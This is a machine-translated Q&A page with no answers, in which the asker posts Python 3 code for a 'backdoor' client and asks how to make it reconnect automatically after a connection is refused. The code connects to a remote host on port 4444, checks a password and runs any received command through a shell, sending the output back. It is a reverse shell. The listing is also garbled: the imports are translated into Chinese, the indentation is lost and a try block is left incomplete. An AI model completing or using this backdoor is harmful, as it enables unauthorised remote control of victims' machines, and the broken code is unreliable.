简单的Python后门客户端,自动重新连接

时间:2019-01-14 11:20:19

标签: python-3.x sockets reconnect connection-refused

我得到一个简单的python3后门,只有客户端。 我希望一旦断开连接,即使收到“拒绝的连接”程序也会重新建立连接

我试图处理该错误,但是没有成功,如果我没有在听,程序会收到“拒绝的连接”,但不会尝试重新连接

导入套接字

导入子进程

从导入睡眠时间开始

HOST = ''    # The remote host
PORT = 4444        # The same port as used by the server
PASSWORD = b"password"


def Login():

global s
s.sendall(b"Login: ")
data = s.recv(1024)

if data.strip() != PASSWORD:
    Login()
else:
    s.sendall(b"Connected > ")
    Shell()

connected = True


def Shell():

while True:

    data1 = s.recv(1024)

            if data1.strip() == b":kill":
        s.close()
        connected = False
        while not connected:
            s.connect((HOST, PORT))
            if ConnectionRefusedError:
                try:
                    s.connect((HOST, PORT))



    proc = subprocess.Popen(data1, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE ,stdin=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    s.send(output)
    s.send(b"mrwick#> ")









with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))

Login()

if ConnectionRefusedError:

    sleep(2)

    s.connect((HOST, PORT))

0 个答案:

没有答案